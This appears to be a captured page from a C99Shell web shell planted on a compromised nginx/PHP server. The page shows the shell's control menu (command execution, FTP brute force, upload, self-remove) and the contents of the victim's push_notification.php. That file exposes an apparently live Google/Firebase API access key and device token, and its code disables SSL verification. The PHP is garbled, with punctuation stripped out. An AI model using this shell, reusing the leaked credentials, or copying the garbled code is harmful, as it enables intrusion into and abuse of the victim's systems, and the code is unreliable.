!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/api/   drwxrwxr-x
Free 39.76 GB of 48.28 GB (82.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     push_notification.php (1.26 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require 'connection.php';
// API access key from Google API's Console
define'API_ACCESS_KEY','AAAABLsF19c:APA91bEwIVggcRMYaF4ZHZtpTjaMYSgnvN3Pc5F-R0IRftn1b4_VHsaFpUkzA5ilpZOHiBtStx5edgWc_zQs9bB4lbiW0AErUgfGBq7JOWKQVDBq1VZt2A6z_au1_T_nZOC0kvEUqIP0');

$device="cc1wbmjCR5-80c0uTdK4mx:APA91bG4Xw4PMETnNC_9Bz7FM786mD6nhEToZ9CG7kBb1lp2dSU6J0i2y7gIkseteNeEGSOO_ocbRovtAXVTarUHzP6QO6Y0spyV-XPEyquRsUenutP5jzvmGBlfTzyoWjQsO7ascMth";
$registrationIds = array($device);

$msg= array('Customer_id'=>$data1,"Reciever"=>"Admin");
$fields = array
(
    
'registration_ids'     => $registrationIds,
    
'data'            => $msg
);




 
$headers = array
(
    
'Authorization: key=' API_ACCESS_KEY,
    
'Content-Type: application/json'
);
 
$ch curl_init();
curl_setopt$ch,CURLOPT_URL'https://fcm.googleapis.com/fcm/send' );
curl_setopt$ch,CURLOPT_POSTtrue );
curl_setopt$ch,CURLOPT_HTTPHEADER$headers );
curl_setopt$ch,CURLOPT_RETURNTRANSFERtrue );
curl_setopt$ch,CURLOPT_SSL_VERIFYPEERfalse );
curl_setopt$ch,CURLOPT_POSTFIELDSjson_encode($fields));
//curl_setopt( $ch,CURLOPT_POSTFIELDS, json_decode( $fields ) );
$result curl_exec($ch );



curl_close($ch);



 
$post = array("payload"=>$msg);

//echo (json_encode($post));
echo $result;
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0059 ]--